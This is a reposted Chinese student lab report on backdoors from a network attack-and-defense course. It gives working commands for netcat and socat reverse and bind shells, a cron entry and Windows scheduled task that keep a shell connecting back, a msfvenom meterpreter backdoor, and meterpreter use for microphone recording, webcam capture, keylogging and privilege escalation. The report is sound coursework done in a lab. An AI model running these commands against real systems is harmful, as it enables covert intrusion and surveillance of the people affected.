2018-2019-2 网络对抗技术 20165328 Exp2 后门原理与实践
實驗內容:
任務一:使用netcat獲取主機操作Shell,cron啟動
任務二:使用socat獲取主機操作Shell, 任務計劃啟動
任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,并嘗試提權
任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
基礎問題問答:
(1)例舉你能想到的一個后門進入到你系統中的可能方式?
捆綁在軟件中
注入在可執行文件里
注入在office文件的宏里面
(2)例舉你知道的后門如何啟動起來(win及linux)的方式?
更改名字偽裝成其他程序
Linux可以使用cron啟動
Windows下通過任務計劃來啟動后門程序
(3)Meterpreter有哪些給你映像深刻的功能?
獲取攝像頭權限進行拍照
獲取麥克風權限進行錄音
(4)如何發現自己有系統有沒有被安裝后門?
殺毒軟件進行掃描,沒做過免殺的直接就能被掃出來
觀察進程以及端口,看看有沒有異常
在Windows下使用ipconfig查看本機IP
?
使用ncat.exe程序打開監聽ncat.exe -l -p 5328
?
在kali中反彈連接Windows,netcat 192.168.1.200 5328 -e /bin/sh,使用-e選項執行shell程序
?
Windows成功獲得kali的shell
?
Linux獲得Windows Shell
由于我是直接從其他同學處拷貝的資源,所以圖中含有其他同學做好的文件
在kali中使用ifconfig查看IP
?
打開監聽nc -l -p 5328
?
在Windows中反彈連接kali
?
kali成功獲得Windows的命令提示
?
使用nc傳輸數據
Windows下監聽5328端口,ncat.exe -l 5328
kali反彈連接到Windows的5328端口,nc 192.168.1.200 5328
連接建立成功,雙方可以相互傳輸數據
?
使用nc傳輸文件
Windows下監聽5328端口,并把收到的數據保存到file1.out中,ncat.exe -l 5328 > file1.out
kali反彈連接到Windows的5328端口,nc 192.168.1.200 5328 < file1.in
?
連接建立成功,Win可以收到kali發來的文件。
實驗步驟:
任務一:使用netcat獲取主機操作Shell,cron啟動
Cron是Linux下的定時任務,每一分鐘運行一次,根據配置文件執行預設的指令。詳細說明可以"man cron"。
在Windows系統下,監聽5328端口。
在Kali環境下,用crontab -e指令編輯一條定時任務。
在最后一行添加57 * * * * /bin/netcat 192.168.1.156 5328 -e /bin/sh,意思是在每個小時的第55分鐘反向連接Windows主機的5328端口。
?
時間到達58分鐘時反向連接Windows主機的5328端口
實驗一完成。
任務二:使用socat獲取主機操作Shell, 任務計劃啟動
socat:
- socat是ncat的增強版,它使用的格式是socat [options],其中兩個address是必選項,而options是可選項。
- socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
- 搜索打開“計算機管理”
在“任務計劃程序”中“創建任務”
填寫任務名->新建一個觸發器
?
在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5328 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe綁定到端口5328,同時把cmd.exe的stderr重定向到stdout上:
創建完成之后,按Windows+L快捷鍵鎖定計算機,再次打開時,可以發現之前創建的任務已經開始運行
?
此時,在Kali環境下輸入指令socat - tcp:192.168.1.200:5328,這里的第一個參數-代表標準的輸入輸出,第二個流連接到Windows主機的5328端口,此時可以發現已經成功獲得了一個cmd shell
?
第二個任務完成。
任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
在Kali上執行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5328 -f exe > 20165328_backdoor.exe,可見已經生成了后門程序“20165328_backdoor.exe”
?
在Windows下執行ncat.exe -l 5328 > 20165328_backdoor.exe,這樣被控主機就進入了接收文件模式。
?
在Linux中執行nc 192.168.1.200 5328 < 20165328_backdoor.exe,注意這里的IP為被控主機IP,即WindowsIP
傳送接收文件成功,如下圖所示
?
在Kali上使用msfconsole指令進入msf控制臺。
?
輸入use exploit/multi/handler使用監聽模塊,設置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后門程序時相同的payload
set LHOST 192.168.1.200,這里用的是LinuxIP,和生成后門程序時指定的IP相同
set LPORT 5328,同樣要使用相同的端口
?
運行Windows下的后門程序
?
此時Kali上已經獲得了Windows主機的連接,并且得到了遠程控制的shell
?
第三個任務完成。
?
任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,并嘗試提權
使用record_mic指令可以截獲一段音頻。
?
使用webcam_snap指令可以使用攝像頭進行拍照
?
使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄
?
使用screenshot指令可以進行截屏,效果如下:
?
先使用getuid指令查看當前用戶,使用getsystem指令進行提權
?
第四個任務完成。
實驗中遇到的問題及解決方法:
由于之前沒有關閉防火墻和安全管家,導致之前的實驗問題百出,關閉后就能夠正常進行實驗了。
?
轉載于:https://www.cnblogs.com/dky20165328/p/10589364.html
總結
以上是生活随笔為你收集整理的2018-2019-2 网络对抗技术 20165328 Exp2 后门原理与实践的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python 考试练习
- 下一篇: 短信验证